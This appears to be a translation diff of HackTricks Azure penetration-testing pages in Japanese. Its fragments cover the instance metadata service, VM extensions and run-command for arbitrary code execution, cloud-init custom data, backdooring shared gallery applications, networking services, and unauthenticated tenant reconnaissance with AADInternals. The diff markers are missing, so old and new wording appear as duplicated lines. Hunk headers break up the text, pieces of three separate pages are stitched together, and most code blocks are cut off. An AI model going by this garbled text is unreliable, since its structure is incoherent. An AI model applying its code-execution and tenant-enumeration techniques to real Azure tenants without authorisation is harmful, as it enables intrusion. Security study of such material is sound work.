Azureインスタンスメタデータサービス(IMDS)は、**実行中の仮想マシンインスタンスに関する情報を提供**し、その管理と構成を支援します。SKU、ストレージ、ネットワーク構成、今後のメンテナンスイベントに関する情報などの詳細を提供し、**非ルーティングIPアドレス169.254.169.254で利用可能なREST APIを介してアクセスできます**。これはVM内からのみアクセス可能です。VMとIMDS間の通信はホスト内に留まり、安全なアクセスを確保します。IMDSをクエリする際、VM内のHTTPクライアントは適切な通信を確保するためにウェブプロキシをバイパスする必要があります。
Azureインスタンスメタデータサービス(IMDS)は、**実行中の仮想マシンインスタンスに関する情報を提供**し、その管理と構成を支援します。SKU、ストレージ、ネットワーク構成、今後のメンテナンスイベントに関する情報などの詳細を提供し、**非ルーティングIPアドレス169.254.169.254**で利用可能なREST APIを介してアクセスできます。これはVM内からのみアクセス可能です。VMとIMDS間の通信はホスト内に留まり、安全なアクセスを確保します。IMDSをクエリする際、VM内のHTTPクライアントは適切な通信を確保するためにウェブプロキシをバイパスする必要があります。
さらに、メタデータエンドポイントに連絡するには、HTTPリクエストに**`Metadata: true`**というヘッダーを含め、**`X-Forwarded-For`**というヘッダーを含めてはいけません。
@@ -433,7 +433,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
Azure VM拡張機能は、Azure仮想マシン(VM)上での**デプロイ後の構成**および自動化タスクを提供する小さなアプリケーションです。
これにより、**VM内で任意のコードを実行する**ことが可能になります。
これにより、**VM内で任意のコードを実行**することが可能になります。
必要な権限は**`Microsoft.Compute/virtualMachines/extensions/write`**です。
@@ -457,7 +457,7 @@ Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type
{{#endtab }}
{{#endtabs }}
カスタムコードを実行する**カスタム拡張機能を実行することが可能です**:
カスタムコードを実行する**カスタム拡張機能を実行することが可能です**
{{#tabs }}
{{#tab name="Linux" }}
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
<summary>ハイブリッドランブックワーカー</summary>
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[オートメーションアカウントサービス](../az-automation-account/)を確認してください。
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[Automation Accounts service](../az-automation-account/)を確認してください。
</details>
@@ -622,7 +622,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
新しいアプリケーションのインストール方法については、[こちら](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)を確認してください。
新しいアプリケーションのインストール方法については、[https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)を確認してください。
> [!CAUTION]
> **個々のアプリやギャラリーを他のサブスクリプションやテナントと共有することが可能です**。これは非常に興味深いことで、攻撃者がアプリケーションにバックドアを仕掛け、他のサブスクリプションやテナントにピボットすることを可能にするかもしれません。
@@ -637,7 +637,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`
任意のコマンドを実行するためのエクスプロイト例:
任意のコマンドを実行するための悪用例:
{{#tabs }}
{{#tab name="Linux" }}
@@ -721,16 +721,16 @@ az vm application set \
### ユーザーデータ
これは**永続データ**で、メタデータエンドポイントからいつでも取得できます。AzureのユーザーデータはAWSやGCPとは異なることに注意してください。**ここにスクリプトを置いてもデフォルトでは実行されません**
これは**永続データ**であり、メタデータエンドポイントからいつでも取得できます。Azureのユーザーデータは**ここにスクリプトを置いてもデフォルトでは実行されない**ため、AWSやGCPとは異なります
### カスタムデータ
VMにいくつかのデータを渡すことが可能で、期待されるパスに保存されます:
期待されるパスに保存されるデータをVMに渡すことが可能です:
- **Windows**では、カスタムデータは`%SYSTEMDRIVE%\AzureData\CustomData.bin`にバイナリファイルとして配置され、処理されません。
- **Linux**では、`/var/lib/waagent/ovf-env.xml`に保存されていましたが、現在は`/var/lib/waagent/CustomData/ovf-env.xml`に保存されています。
- **Linuxエージェント**: デフォルトではカスタムデータを処理しません。データが有効なカスタムイメージが必要です。
- **cloud-init:** デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけで簡単にスクリプトを実行できます。
- **Linuxエージェント**デフォルトではカスタムデータを処理せず、データが有効なカスタムイメージが必要です。
- **cloud-init**デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけでスクリプトを簡単に実行できます。
- UbuntuとDebianの両方がここに置いたスクリプトを実行することを試しました。
- これが実行されるためにユーザーデータを有効にする必要はありません。
```bash
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **コマンドの実行**
これは、Azureが提供する最も基本的なメカニズムで、**VM内で任意のコマンドを実行する**ことができます。必要な権限は `Microsoft.Compute/virtualMachines/runCommand/action` です。
これは、Azureが**VM内で任意のコマンドを実行する**ために提供する最も基本的なメカニズムです。必要な権限は`Microsoft.Compute/virtualMachines/runCommand/action`です。
{{#tabs }}
{{#tab name="Linux" }}
@@ -4,19 +4,19 @@
## 基本情報
Azureは、ユーザーがAzureクラウド内に**孤立した** **ネットワーク**を作成できる**仮想ネットワーク(VNet)**を提供します。これらのVNet内では、仮想マシン、アプリケーション、データベースなどのリソースを安全にホストおよび管理できます。Azureのネットワーキングは、クラウド内の通信(Azureサービス間)と外部ネットワークおよびインターネットへの接続の両方をサポートしています。\
Azureは、ユーザーがAzureクラウド内に**孤立した****ネットワーク**を作成できる**仮想ネットワーク(VNet)**を提供します。これらのVNet内では、仮想マシン、アプリケーション、データベースなどのリソースを安全にホストおよび管理できます。Azureのネットワーキングは、クラウド内の通信(Azureサービス間)と外部ネットワークおよびインターネットへの接続の両方をサポートしています。\
さらに、VNetを他のVNetやオンプレミスネットワークと**接続**することも可能です。
## 仮想ネットワーク(VNET)とサブネット
Azure仮想ネットワーク(VNet)は、クラウド内の自分のネットワークの表現であり、あなたのサブスクリプション専用のAzure環境内で**論理的な隔離**を提供します。VNet、Azureで仮想プライベートネットワーク(VPN)をプロビジョニングおよび管理することを可能にし、仮想マシン(VM)、データベース、アプリケーションサービスなどのリソースをホストます。これにより、IPアドレス範囲、サブネットの作成、ルートテーブル、ネットワークゲートウェイなどの**ネットワーク設定に対する完全制御**が提供されます。
Azure仮想ネットワーク(VNet)は、クラウド内の自分のネットワークの表現であり、サブスクリプション専用のAzure環境内で**論理的な隔離**を提供します。VNetを使用すると、Azureで仮想プライベートネットワーク(VPN)をプロビジョニングおよび管理でき、仮想マシン(VM)、データベース、アプリケーションサービスなどのリソースをホストできます。これにより、IPアドレス範囲、サブネットの作成、ルートテーブル、ネットワークゲートウェイなどの**ネットワーク設定完全制御**できます。
**サブネット**は、特定の**IPアドレス範囲**によって定義されたVNet内の細分化です。VNetを複数のサブネットに分割することで、ネットワークアーキテクチャに応じてリソースを整理し、保護できます。\
デフォルトでは、同じAzure仮想ネットワーク(VNet)内のすべてのサブネットは、制限なしに**相互に通信できます**
デフォルトでは、同じAzure仮想ネットワーク(VNet)内のすべてのサブネットは、制限なしに**相互に通信**できます。
**例:**
- `MyVNet`のIPアドレス範囲は10.0.0.0/16。
- `MyVNet` のIPアドレス範囲は10.0.0.0/16。
- **サブネット-1:** ウェブサーバー用の10.0.0.0/24。
- **サブネット-2:** データベースサーバー用の10.0.1.0/24。
@@ -49,14 +49,14 @@ Select-Object Name, AddressPrefix
## ネットワーク セキュリティ グループ (NSG)
**ネットワーク セキュリティ グループ (NSG)** は、Azure 仮想ネットワーク (VNet) 内の Azure リソースへのおよび Azure リソースからのネットワークトラフィックをフィルタリングします。これは、**セキュリティルール**のセットを含み、**ソースポート、ソースIP、ポートの宛先によって、受信および送信トラフィックのためにどのポートを開くかを示すことができます**。優先度を割り当てることも可能で優先度番号が低いほど優先度が高くなります。
**ネットワーク セキュリティ グループ (NSG)** は、Azure Virtual Network (VNet) 内のAzureリソースへのおよびAzureリソースからのネットワークトラフィックをフィルタリングします。これは、**受信および送信トラフィックのために開くべきポート**をソースポート、ソースIP、ポートの宛先によって示すことができる一連の**セキュリティルール**を含んでいます。また、優先度を割り当てることも可能です(優先度番号が低いほど優先度が高くなります
NSG**サブネットおよび NIC に関連付けることができます。**
NSG**サブネットおよびNICに関連付けることができます。**
**ルールの例:**
- 任意のソースからあなたのウェブサーバーへの HTTP トラフィック (ポート 80) を許可する受信ルール。
- 特定の宛先 IP アドレス範囲への SQL トラフィック (ポート 1433) のみを許可する送信ルール。
- 任意のソースからあなたのウェブサーバーへのHTTPトラフィックポート80を許可する受信ルール。
- 特定の宛先IPアドレス範囲へのSQLトラフィックポート1433のみを許可する送信ルール。
### 列挙
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewallは、クラウドリソースを保護するためにトラフィックを検査および制御する**管理されたネットワークセキュリティサービス**です。これは**ステートフルファイアウォール**であり、レイヤー3から7のルールに基づいてトラフィックをフィルタリングし、**Azure内**(東西トラフィック)および**外部ネットワークとの間**(南北トラフィック)の通信をサポートしす。**仮想ネットワーク(VNet)レベル**で展開され、VNet内のすべてのサブネットに対して集中保護を提供します。Azure Firewallは、トラフィックの需要に応じて自動的にスケールし、手動設定を必要とせずに高可用性を確保します。
Azure Firewallは、クラウドリソースを保護するためにトラフィックを検査および制御する**管理されたネットワークセキュリティサービス**です。これは、**Azure内**(東西トラフィック)および**外部ネットワークとの間**(南北トラフィック)の通信をサポートし、レイヤー3から7のルールに基づいてトラフィックをフィルタリングする**ステートフルファイアウォール**です。**仮想ネットワーク(VNet)レベル**で展開され、VNet内のすべてのサブネットに対して集中保護を提供します。Azure Firewallは、トラフィックの需要に応じて自動的にスケールし、手動設定を必要とせずに高可用性を確保します。
これは、特定の顧客ニーズに合わせた3つのSKU—**Basic**、**Standard**、および**Premium**で利用可能です:
| **推奨使用ケース** | 限られたニーズを持つ中小企業(SMB) | 一般的な企業利用、レイヤー3–7フィルタリング | 高度に機密性の高い環境(例:決済処理) |
| ------------------------------ | ----------------------------------- | ----------------------------------------- | ----------------------------------------- |
| **パフォーマンス** | 最大250 Mbpsのスループット | 最大30 Gbpsのスループット | 最大100 Gbpsのスループット |
| **脅威インテリジェンス** | アラートのみ | アラートとブロック(悪意のあるIP/ドメイン) | アラートとブロック(高度な脅威インテリジェンス) |
| **L3L7フィルタリング** | 基本的なフィルタリング | プロトコル全体にわたるステートフルフィルタリング | 高度な検査を伴うステートフルフィルタリング |
| **高度な脅威保護** | 利用不可 | 脅威インテリジェンスに基づくフィルタリング | 侵入検知および防止システム(IDPS)を含む |
| **TLS検査** | 利用不可 | 利用不可 | インバウンド/アウトバウンドTLS終端をサポート |
| **可用性** | 固定バックエンド(2つのVM) | オートスケーリング | オートスケーリング |
| **管理の容易さ** | 基本的なコントロール | ファイアウォールマネージャー経由で管理 | ファイアウォールマネージャー経由で管理 |
| **推奨使用ケース** | 限定的なニーズを持つ中小企業(SMB | 一般的な企業利用、レイヤー3–7フィルタリング | 高度に機密性の高い環境(例:決済処理) |
| ---------------------------- | ------------------------------------------- | ------------------------------------------- | --------------------------------------------------- |
| **パフォーマンス** | 最大250 Mbpsのスループット | 最大30 Gbpsのスループット | 最大100 Gbpsのスループット |
| **脅威インテリジェンス** | アラートのみ | アラートとブロック(悪意のあるIP/ドメイン) | アラートとブロック(高度な脅威インテリジェンス) |
| **L3L7フィルタリング** | 基本的なフィルタリング | プロトコル全体にわたるステートフルフィルタリング | 高度な検査を伴うステートフルフィルタリング |
| **高度な脅威保護** | 利用不可 | 脅威インテリジェンスに基づくフィルタリング | 侵入検知および防止システム(IDPS)を含む |
| **TLS検査** | 利用不可 | 利用不可 | インバウンド/アウトバウンドTLS終端をサポート |
| **可用性** | 固定バックエンド(2つのVM) | オートスケーリング | オートスケーリング |
| **管理の容易さ** | 基本的なコントロール | ファイアウォールマネージャー経由で管理 | ファイアウォールマネージャー経由で管理 |
### Enumeration
@@ -142,9 +142,9 @@ Get-AzFirewall
## Azure ルートテーブル
Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。転送先は、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次ホップす。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。
Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。ルールは、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次ホップに対して設定できます。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。
**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を NVA のプライベート IP アドレスに次ホップとしてリダイレクトできます。
**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を NVA のプライベート IP アドレスに次ホップとしてリダイレクトできます。
### **列挙**
@@ -171,7 +171,7 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にするサービス**であり、**Azure仮想ネットワーク(VNet)とサービス間のトラフィックが完全にMicrosoftのAzureバックボーンネットワーク内移動することを保証します**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。
Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にするAzureのサービス**であり、**Azure仮想ネットワーク(VNet)とサービス間のトラフィックがMicrosoftのAzureバックボーンネットワーク内で完全に移動することを保証します**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。
Private Linkは、Azure Storage、Azure SQL Database、Private Linkを介して共有されるカスタムサービスなど、さまざまなAzureサービスで使用できます。これは、自分のVNet内または異なるAzureサブスクリプションからサービスを消費するための安全な方法を提供します。
@@ -180,7 +180,7 @@ Private Linkは、Azure Storage、Azure SQL Database、Private Linkを介して
**例:**
あなたが**VNetから安全にアクセスしたいAzure SQL Databaseを持っているシナリオを考えてみてください**。通常、これはパブリックインターネットを経由することを含むかもしれません。Private Linkを使用すると、**VNet内にプライベートエンドポイントを作成**し、Azure SQL Databaseサービスに直接接続できます。このエンドポイントにより、データベースは自分のVNetの一部であるかのように見え、プライベートIPアドレスを介してアクセスできるため、安全でプライベートなアクセスが保証されます。
**VNetから安全にアクセスしたいAzure SQL Databaseがあるシナリオを考えてみてください**。通常、これはパブリックインターネットを経由することを含むかもしれません。Private Linkを使用すると、**VNet内にプライベートエンドポイントを作成**し、Azure SQL Databaseサービスに直接接続できます。このエンドポイントにより、データベースは自分のVNetの一部であるかのように見え、プライベートIPアドレスを介してアクセスできるため、安全でプライベートなアクセスが保証されます。
### **Enumeration**
@@ -205,15 +205,15 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
{{#endtab }}
{{#endtabs }}
## Azure サービス エンドポイント
## Azure Service Endpoints
Azure サービス エンドポイントは、仮想ネットワークのプライベート アドレス空間と VNet のアイデンティティを、直接接続を介して Azure サービスに拡張します。サービス エンドポイントを有効にすることで、**VNet 内のリソースが Azure のバックボーン ネットワークを使用して Azure サービス**Azure Storage や Azure SQL Database など)に安全に接続できるようになります。これにより、**VNet から Azure サービスへのトラフィックが Azure ネットワーク内に留まる**ため、より安全で信頼性の高い経路が提供されます。
Azure Service Endpointsは、仮想ネットワークのプライベートアドレス空間とVNetのアイデンティティを、直接接続を介してAzureサービスに拡張します。サービスエンドポイントを有効にすることで、**VNet内のリソースがAzureのバックボーンネットワークを使用してAzureサービスに安全に接続できるようになります**。これにより、**VNetからAzureサービスへのトラフィックがAzureネットワーク内に留まることが保証され**、より安全で信頼性の高い経路が提供されます。
**例:**
たとえば、**Azure Storage** アカウントはデフォルトでパブリック インターネット経由でアクセス可能です。**VNet 内で Azure Storage のサービス エンドポイントを有効にすることで**、VNet からのトラフィックのみがストレージ アカウントにアクセスできるようにすることができます。ストレージ アカウントのファイアウォールは、その後、VNet からのトラフィックのみを受け入れるように構成できます。
たとえば、**Azure Storage**アカウントはデフォルトでパブリックインターネット経由でアクセス可能です。**VNet内でAzure Storageのサービスエンドポイントを有効にすることで**、VNetからのトラフィックのみがストレージアカウントにアクセスできるようにすることができます。ストレージアカウントのファイアウォールは、その後、VNetからのトラフィックのみを受け入れるように構成できます。
### **列挙**
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
@@ -242,23 +242,23 @@ Microsoftは、[**docs**](https://learn.microsoft.com/en-us/azure/virtual-networ
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
**サービスエンドポイント**
**サービスエンドポイント:**
- VNetからAzureサービスへのトラフィックは、Microsoft Azureバックボーンネットワークを経由し、公共のインターネットをバイパスします。
- VNetからAzureサービスへのトラフィックは、Microsoft Azureバックボーンネットワークを経由し、公共のインターネットをバイパスします。
- エンドポイントはAzureサービスへの直接接続であり、VNet内のサービスにプライベートIPを提供しません。
- サービス自体は、サービスファイアウォールを設定してそのトラフィックをブロックしない限り、VNetの外部からその公共エンドポイントを介してアクセス可能です。
- サブネットとAzureサービスの間には一対一の関係があります。
- プライベートリンクよりもコストが低いです。
**プライベートリンク**
**プライベートリンク:**
- プライベートリンクは、VNet内のプライベートIPアドレスを持つネットワークインターフェースであるプライベートエンドポイントを介してAzureサービスをVNetにマッピングします。
- AzureサービスはこのプライベートIPアドレスを使用してアクセスされ、ネットワークの一部であるかのように見えます。
- プライベートリンクを介して接続されたサービスは、VNetまたは接続されたネットワークからのみアクセス可能であり、サービスへの公共のインターネットアクセスはありません。
- AzureサービスやAzureにホストされている自分のサービスへの安全な接続を可能にし、他者共有されているサービスへの接続も提供します。
- AzureサービスやAzureにホストされている自分のサービスへの安全な接続を可能にし、他者共有るサービスへの接続も提供します。
- サービスエンドポイントでのサブネットレベルの広範なアクセス制御に対して、VNet内のプライベートエンドポイントを介してより詳細なアクセス制御を提供します。
要約すると、サービスエンドポイントとプライベートリンクの両方がAzureサービスへの安全な接続を提供しますが、**プライベートリンクはサービスが公共のインターネットにさらされることなくプライベートにアクセスされることを保証することにより、より高いレベルの隔離とセキュリティを提供します**。一方、サービスエンドポイントは、VNet内にプライベートIPを必要とせず、Azureサービスへのシンプルで安全なアクセス必要な一般的なケースに対して設定が容易です。
要約すると、サービスエンドポイントとプライベートリンクの両方がAzureサービスへの安全な接続を提供しますが、**プライベートリンクはサービスが公共のインターネットにさらされることなくプライベートにアクセスされることを保証することにより、より高いレベルの隔離とセキュリティを提供します**。一方、サービスエンドポイントは、VNet内にプライベートIPを必要とせず、Azureサービスへの一般的な簡単で安全なアクセス必要とする場合に設定が容易です。
## Azure Front Door (AFD) & AFD WAF
@@ -266,7 +266,7 @@ Microsoftは、[**docs**](https://learn.microsoft.com/en-us/azure/virtual-networ
**Azure Front Door WAF**は、バックエンドコードを変更することなく、**ウェブベースの攻撃からウェブアプリケーションを保護する**ように設計されています。SQLインジェクション、クロスサイトスクリプティング、その他の一般的な攻撃に対する脅威から保護するためのカスタムルールと管理されたルールセットを含んでいます。
**例**
**例:**
世界中にユーザーがいるグローバルに分散したアプリケーションがあると想像してください。Azure Front Doorを使用して、**ユーザーのリクエストをアプリケーションをホストしている最寄りの地域データセンターにルーティング**することで、レイテンシを減少させ、ユーザーエクスペリエンスを向上させ、**WAF機能でウェブ攻撃から防御します**。特定の地域でダウンタイムが発生した場合、Azure Front Doorは自動的に次の最適な場所にトラフィックを再ルーティングし、高可用性を確保します。
@@ -295,12 +295,12 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway と Azure Application Gateway WAF
Azure Application Gateway は、**ウェブトラフィックのロードバランサー**であり、**ウェブ**アプリケーションへのトラフィックを管理することを可能にします。これは、アプリケーションデリバリーコントローラー (ADC) としてのサービスで、**レイヤー7のロードバランシング、SSLターミネーション、ウェブアプリケーションファイアウォール (WAF) 機能**を提供します。主な機能には、URLベースのルーティング、クッキーに基づくセッションアフィニティ、およびセキュアソケットレイヤー (SSL) オフロードが含まれ、グローバルルーティングやパスベースのルーティングのような複雑なロードバランシング機能を必要とするアプリケーションにとって重要です。
Azure Application Gateway は、**ウェブトラフィックのロードバランサー**であり、**ウェブ**アプリケーションへのトラフィックを管理することを可能にします。これは、アプリケーションデリバリーコントローラー (ADC) としてのサービスで、**レイヤー 7 ロードバランシング、SSL ターミネーション、およびウェブアプリケーションファイアウォール (WAF) 機能**を提供します。主な機能には、URL ベースのルーティング、クッキー ベースのセッションアフィニティ、およびセキュアソケットレイヤー (SSL) オフロードが含まれ、グローバルルーティングやパスベースのルーティングのような複雑なロードバランシング機能を必要とするアプリケーションにとって重要です。
**例:**
ユーザーアカウントや支払い処理など、異なる機能のための複数のサブドメインを含むeコマースウェブサイトがあるシナリオを考えてみてください。Azure Application Gateway は、**URLパスに基づいて適切なウェブサーバーにトラフィックをルーティング**できます。たとえば、`example.com/accounts` へのトラフィックはユーザーアカウントサービスに、`example.com/pay` へのトラフィックは支払い処理サービスに向けられる可能性があります。\
そして、**WAF機能を使用してウェブサイトを攻撃から保護します。**
複数のサブドメインを持つeコマースウェブサイトがあるシナリオを考えてみてください。これには、ユーザーアカウントや支払い処理などの異なる機能が含まれます。Azure Application Gateway は、**URL パスに基づいて適切なウェブサーバーにトラフィックをルーティング**できます。たとえば、`example.com/accounts` へのトラフィックはユーザーアカウントサービスに、`example.com/pay` へのトラフィックは支払い処理サービスに向けられる可能性があります。\
そして、**WAF 機能を使用してウェブサイトを攻撃から保護します。**
### **列挙**
@@ -321,16 +321,16 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
## Azure Hub, Spoke & VNet Peering
**VNet Peering**は、Azureのネットワーキング機能であり、**異なる仮想ネットワーク(VNet)を直接かつシームレスに接続することを可能にします**。VNetピアリングを通じて、1つのVNet内のリソースは、**まるで同じネットワークにいるかのように、別のVNet内のリソースとプライベートIPアドレスを使用して通信できます**。\
**VNet Peering**は、Azureのネットワーキング機能であり、**異なる仮想ネットワーク(VNet)を直接かつシームレスに接続することを可能にします**。VNetピアリングを通じて、1つのVNet内のリソースは、**同じネットワークにいるかのように、別のVNet内のリソースとプライベートIPアドレスを使用して通信できます**。\
**VNetピアリングは、オンプレミスネットワークとも使用できます**。サイト間VPNまたはAzure ExpressRouteを設定することで実現します。
**Azure Hub and Spoke**は、Azureでネットワークトラフィックを管理および整理するために使用されるネットワークトポロジーです。**「ハブ」は、異なる「スポーク」間のトラフィックを制御しルーティングする中央ポイントです**。ハブには通常、ネットワーク仮想アプライアンス(NVA)、Azure VPN Gateway、Azure Firewall、またはAzure Bastionなどの共有サービスが含まれています。**「スポーク」は、ワークロードをホストし、VNetピアリングを使用してハブに接続するVNetです**。これにより、ハブ内の共有サービスを活用できます。このモデルは、クリーンなネットワークレイアウトを促進し、異なるVNet間で複数のワークロードが使用できる共通サービスを集中化することで複雑さを軽減します。
> [!CAUTION] > **AzureではVNETピアリングは非推移的です**。つまり、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。
> [!CAUTION] > **AzureにおけるVNETピアリングは非推移的です**。つまり、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。
**例:**
営業、HR、開発などの別々の部門を持つ会社を想像してください。**それぞれが独自のVNet(スポーク)を持っています**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらはすべて**別のVNet(ハブ)**にあります。Hub and Spokeモデルを使用することで、各部門は**ハブVNetを通じて共有リソースに安全に接続でき、これらのリソースをパブリックインターネットに公開することなく、複雑なネットワーク構造を作成することなく接続できます**。
販売、HR、開発などの別々の部門を持つ会社を想像してください。**それぞれが独自のVNet(スポーク)を持っています**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらはすべて**別のVNet(ハブ)**にあります。ハブとスポークモデルを使用することで、各部門は**ハブVNetを通じて共有リソースに安全に接続でき、これらのリソースをパブリックインターネットにさらすことなく、複雑なネットワーク構造を作成することなく接続できます**。
### Enumeration
@@ -363,11 +363,11 @@ Get-AzFirewall
## サイト間VPN
Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワーク(VNet)に接続することを可能にし**、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように見えるようにします。この接続は、**2つのネットワーク間のトラフィックを暗号化するVPNゲートウェイを介して確立されます**
Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワーク(VNet)に接続**することを可能にし、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように見えるようにします。この接続は、**トラフィックを暗号化するVPNゲートウェイ**を通じて確立されます。
**例:**
ニューヨークに本社を置く企業は、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。ここでは仮想化されたワークロードがホストされています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります**。まるで同じローカルネットワークにいるかのように。
ニューヨークに本社を置く企業は、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。ここでは仮想化されたワークロードがホストされています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります**
### **列挙**
@@ -394,7 +394,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRouteは、**オンプレミスのインフラストラクチャとAzureデータセンター間のプライベートで専用の高速接続を提供するサービス**です。この接続は接続プロバイダーを通じて行われ、公共インターネットをバイパスし、通常のインターネット接続よりも信頼性が高く、速度が速く、レイテンシが低く、セキュリティが高いです。
Azure ExpressRouteは、**オンプレミスのインフラストラクチャとAzureデータセンター間のプライベートで専用の高速接続を提供するサービス**です。この接続は接続プロバイダーを通じて行われ、公共インターネットをバイパスし、通常のインターネット接続よりも信頼性が高く、速度が速く、遅延が低く、セキュリティが高いです。
**例:**
@@ -1,4 +1,4 @@
# Az - Unauthenticated Enum & Initial Entry
# Az - 認証されていない列挙と初期エントリー
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,8 +6,8 @@
### テナント列挙
攻撃者がテナントの**ドメイン**を知っているだけで、より多くの情報を収集するためにクエリできる**公開Azure API**がいくつかあります。\
API直接クエリするか、PowerShellライブラリ[**AADInternals**](https://github.com/Gerenios/AADInternals)**を使用できます**:
攻撃者がテナントの**ドメイン**を知っているだけで、より多くの情報を収集するためにクエリできる**公開Azure API**があります。\
API直接クエリするか、PowerShellライブラリ[**AADInternals**](https://github.com/Gerenios/AADInternals)**を使用できます**
| API | 情報 | AADInternals 関数 |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
@@ -16,11 +16,11 @@ APIを直接クエリするか、PowerShellライブラリ[**AADInternals**](htt
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>テナントのログイン情報</strong>、テナント名とドメイン<strong>認証タイプ</strong>を含む。<br><code>NameSpaceType</code>が<strong><code>Managed</code></strong>の場合、<strong>AzureAD</strong>が使用されていることを意味します。</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | **デスクトップSSO情報**を含むログイン情報 | `Get-AADIntLoginInformation -UserName <UserName>` |
**ただ1つのコマンド**Azureテナントのすべての情報をクエリできます[**AADInternals**](https://github.com/Gerenios/AADInternals) **ライブラリ**:
**AADInternals**ライブラリの**1つのコマンド**Azureテナントのすべての情報をクエリできます
```powershell
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Azureテナント情報の出力例:
Azure テナント情報の例:
```
Tenant brand: Company Ltd
Tenant name: company
@@ -34,7 +34,7 @@ company.mail.onmicrosoft.com True True True Managed
company.onmicrosoft.com True True True Managed
int.company.com False False False Managed
```
テナントの名前、ID、および「ブランド」名に関する詳細を観察することが可能です。さらに、デスクトップシングルサインオン(SSO)のステータス、別名[**シームレスSSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)表示されます。この機能が有効になっている場合、ターゲット組織内の特定のユーザーの存在(列挙)を判断するのが容易になります。
テナントの名前、ID、および「ブランド」名に関する詳細を観察することが可能です。さらに、デスクトップシングルサインオン(SSO)、別名[**シームレスSSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)のステータスが表示されます。この機能が有効になっている場合、ターゲット組織内の特定のユーザーの存在(列挙)を判断するのが容易になります。
